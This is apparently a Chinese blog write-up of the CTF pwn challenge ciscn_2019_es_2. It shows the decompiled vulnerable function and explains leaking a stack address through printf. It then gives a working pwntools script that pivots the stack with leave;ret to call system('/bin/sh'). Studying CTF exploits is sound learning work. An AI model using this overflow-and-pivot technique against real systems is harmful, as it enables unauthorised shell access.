ciscn_2019_es_2

题目链接:ciscn_2019_es_2

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}

其中 vul 函数如下。

int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

经过调试可知,vul 函数在第一次 read 以及 printf 时,可以泄露 Stack 地址或 LIBC 基址其中之一。

并且,vul 函数在第二次 read 时,可以覆盖返回地址,但也仅能覆盖返回地址,无法传入参数。

本机调试时发现,可以使用 One_GadGet GetShell,但在 Buuoj 环境中,所有的 One_GadGet 均无法 GetShell。

因此,解题思路如下:

  1. 第一次 read 与 printf 时,选择泄露 Stack 地址。
  2. 第二次 read 时,执行栈劫持,同时,布置好栈内容,写入字符串 "/bin/sh",此处需要将栈劫持到原来的栈的上方,调用 system,并控制好传参。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # .text:080485FD leave
    # .text:080485FE retn
    s(0x24 * b'a')
    ru(0x24 * b'a')
    VAR_ADDR = uu32(r(4)) - 228

    Payload = p32(0x0) + p32(ELF_FILE.plt['system']) + p32(0x0) + p32(VAR_ADDR + 0x10) + b"/bin/sh\x00"
    Payload = Payload.ljust(0x28, b'a') + p32(VAR_ADDR) + p32(0x080485FD)
    s(Payload)

    irt()

pwn()
posted @ 2025-09-06 13:11  imtaieee  阅读(12)  评论(0)    收藏  举报